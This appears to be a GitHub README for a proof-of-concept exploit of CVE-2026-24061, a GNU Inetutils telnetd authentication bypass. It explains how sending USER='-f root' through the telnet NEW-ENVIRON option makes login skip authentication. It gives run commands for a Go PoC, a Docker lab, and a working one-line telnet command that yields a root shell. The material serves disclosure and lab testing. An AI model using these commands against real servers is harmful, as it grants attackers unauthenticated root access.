chocapikk/cve-2026-24061
Seriously, telnet in 2026? Come on guys, it's time to move on. SSH exists since 1995. 🤦
A critical authentication bypass vulnerability in GNU Inetutils telnetd affecting versions 1.9.3 through 2.7.
The vulnerability exploits the NEW-ENVIRON telnet option to inject malicious arguments into login(1). By setting USER=-f root via the telnet protocol, an attacker can bypass authentication and obtain a root shell without credentials.
The telnet protocol supports the NEW-ENVIRON option (RFC 1572) which allows the client to send environment variables to the server. The telnetd daemon passes the USER variable to login(1) as an argument.
By sending USER=-f root, the value is interpreted as:
-f flag: Skip authentication (trusted host)root: Target userThis causes login -f root to be executed, granting immediate root access.
The PoC detects successful exploitation by checking for IAC WILL ECHO (0xff 0xfb 0x01) - the protocol signal that the server sends when shell access is granted.
# Build and run the vulnerable telnetd container
docker compose up --build -d
# Test the exploit
go run poc.go 127.0.0.1 2323
# Using the Go PoC (with interactive shell)
go run poc.go <target> <port>
# Simple PoC using standard telnet client
env USER='-f root' telnet -a <target> <port>
poc.go - Go exploit with interactive shellDockerfile - Vulnerable telnetd containerdocker-compose.yml - Lab orchestration